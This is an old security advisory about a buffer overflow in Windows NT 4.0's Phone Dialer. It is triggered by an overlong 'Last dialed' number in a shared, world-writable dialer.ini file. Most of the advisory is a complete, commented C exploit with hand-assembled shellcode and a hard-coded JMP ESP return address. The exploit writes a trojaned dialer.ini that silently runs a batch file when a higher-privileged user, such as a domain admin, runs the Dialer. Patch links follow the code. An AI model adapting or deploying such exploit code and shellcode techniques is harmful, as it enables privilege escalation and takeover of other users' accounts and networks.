COMMAND
dialer.exe
SYSTEMS AFFECTED
WinNT 4.0 (all versions)
PROBLEM
Mnemonix found following. Dialer.exe has an unchecked buffer in
the portion of the program that processes the dialer.ini file.
This vulnerability could be used to run arbitrary code via a
classic buffer overrun technique. The circumstances of this
vulnerability require a fairly complicated attack scenario that
limits its scope. Dialer.exe runs in the security context of the
user, so it would not benefit an attacker to simply modify a
dialer.ini file and run it, as he or she would not gain additional
privileges. Instead, the attacker would need to modify the
dialer.ini file of another user who had higher privileges, then
wait for that user to run Dialer.
Although the unchecked buffer is present in all versions of
Windows NT 4.0, the attack scenario would result in workstations
that have dial-out capability being chiefly at risk. The FAQ
discusses this in greater detail.
So, Microsoft's Phone Dialer on Windows NT 4 (all service packs)
contains a buffer overrun vulnerability that allows an attacker
to run arbitary code in another user's security context by
"trojaning" the dialer.ini and waiting for that user to run
dialer. This problem is exacerbated by the fact that the overrun
only occurs when the user exits the application so any attack
will go unnoticed. The problem occurs when dialer.exe reads in
an overly long "Last dialed" number from the dialer.ini and by
examination and experimentation we can see that the buffer that
these numbers are fed into are 100 bytes long. If a 104 character
long string is stuffed into the buffer it overflows and the return
address is overwritten, thus giving the attacker control of the
programs execution. If the string is longer than 104 bytes, on
debugging the application after the overrun occurs we can see that
character 105 is pointed to by the ESP register and so it is to
this address we need to get to by setting the return address to
location in the processes address space that calls the "JMP ESP"
instruction - jump to the address pointed to by the ESP - such as
found at address 0x77F327E5 in kernel32.dll on NT SP 4. There are
150 bytes from here available for the exploit code.
The following code will create a trojaned dialer.ini file that
when read in by dialer will cause it to run a batch file called
code.bat - this is hidden from the desktop by calling the
equivalent of WinExec("code.bat",0); - and then ExitProcess(0);
is called to shutup dialer.exe. Once the dialer.ini has been
trojaned the attacker would create a batch file called code.bat
and place in there any commands they wished to be run. Needless
to say that if a user with admin rights runs dialer any commands
placed in this batch file are likely to succeed.
#include <stdio.h>
#include <windows.h>
int main(void)
{
FILE *fd;
char ExploitCode[256];
int count = 0;
while (count < 100)
{
ExploitCode[count]=0x90;
count ++;
}
// ExploitCode[100] to ExploitCode[103] overwrites the real return address
// with 0x77F327E5 which contains a "jmp esp" instruction taking us back
// to our payload of exploit code
ExploitCode[100]=0xE5;
ExploitCode[101]=0x27;
ExploitCode[102]=0xF3;
ExploitCode[103]=0x77;
// procedure prologue - push ebp
// mov ebp,esp
ExploitCode[104]=0x55;
ExploitCode[105]=0x8B;
// This moves into the eax register the address where WinExec() is found
// in kernel32.dll at address 0x77F1A9DA - This address has been hard-
// coded in to save room rather than going through LoadLibrary() and
// GetProcAddress () to get the address - since we've already hard
// coded in the return address from kernel32.dll - there seems no
// harm in doing this
ExploitCode[106]=0xEC;
ExploitCode[107]=0xB8;
ExploitCode[108]=0xDA;
ExploitCode[109]=0xA9;
ExploitCode[110]=0xF1;
ExploitCode[111]=0x77;
// We need some NULLs to terminate a string - to do this we xor the esi
// register with itself - xor esi,esi
ExploitCode[112]=0x33;
ExploitCode[113]=0xF6;
// These NULLs are then pushed onto the stack - push esi
ExploitCode[114]=0x56;
// Now the name of the batch file to be run is pushed onto the stack
// We'll let WinExec() pick up the file - we use push here
// to push on "tab." (code.bat)
ExploitCode[115]=0x68;
ExploitCode[116]=0x2E;
ExploitCode[117]=0x62;
ExploitCode[118]=0x61;
ExploitCode[119]=0x74;
// And now we push on "edoc"
ExploitCode[120]=0x68;
ExploitCode[121]=0x63;
ExploitCode[122]=0x6F;
ExploitCode[123]=0x64;
ExploitCode[124]=0x65;
// We push the esi (our NULLs) again - this will be used by WinExec() to
determine
// whether to display a window on the desktop or not - in this case it will
not
ExploitCode[125]=0x56;
// The address of the "c" of code.bat is loaded into the edi register -
this
// becomes a pointer to the name of what we want to tell WinExec() to run
ExploitCode[126]=0x8D;
ExploitCode[127]=0x7D;
ExploitCode[128]=0xF4;
// This is then pushed onto the stack
ExploitCode[129]=0x57;
// With everything primed we then call WinExec() - this will then run
code.bat
ExploitCode[130]=0xFF;
ExploitCode[131]=0xD0;
// With the batch file running we then call ExitProcess () to stop
dialer.exe
// from churning out an Access Violation message - first the procedure
//prologue push ebp and movebp,esp
ExploitCode[132]=0x55;
ExploitCode[133]=0x8B;
ExploitCode[134]=0xEC;
// We need to give ExitProcess() an exit code - we'll give it 0 to use - we
need
// some NULLs then - xor esi,esi
ExploitCode[135]=0x33;
ExploitCode[136]=0xF6;
// and we need them on the stack - push esi
ExploitCode[137]=0x56;
// Now we mov the address for ExitProcess() into the EAX register - again
we
// we hard code this in tieing this exploit to NT 4.0 SP4
ExploitCode[138]=0xB8;
ExploitCode[139]=0xE6;
ExploitCode[140]=0x9F;
ExploitCode[141]=0xF1;
ExploitCode[142]=0x77;
// And then finally call it
ExploitCode[143]=0xFF;
ExploitCode[144]=0xD0;
// Now to create the trojaned dialer.ini file
fd = fopen("dialer.ini", "w+");
if (fd == NULL)
{
printf("Couldn't create dialer.ini");
return 0;
}
// Give dialer.exe what it needs from dialer.ini
fprintf(fd,"[Preference]\nPreferred Line=148446\nPreferred Address=0\nMain
Window Left/Top=489, 173\n[Last dialed numbers]\nLast dialed 1=");
// And inject our exploit code
fprintf(fd,ExploitCode);
fclose(fd);
}
The dialer.ini file is only created when a user has used dialer
and the NTFS rights on it allow "everyone" to change it. This way
every user that uses it may update it.
The exploit code will invisibly run a batch file. If that batch
file contains a command "addme.exe \\PDC" and addme.exe happened
to call the NetGroupAddUser() Win32 function and the trap was
sprung by a domain admin then yes, they can "gain privileges on
the network at large". On Windows NT Server and Workstation the
same dialer.ini file is used by everyone. Only Terminal Server
gives everyone their own ini file.
SOLUTION
Patch availability:
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP5/Dialer-fix/
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40tse/hotfixes-postSP4/Dialer-fix/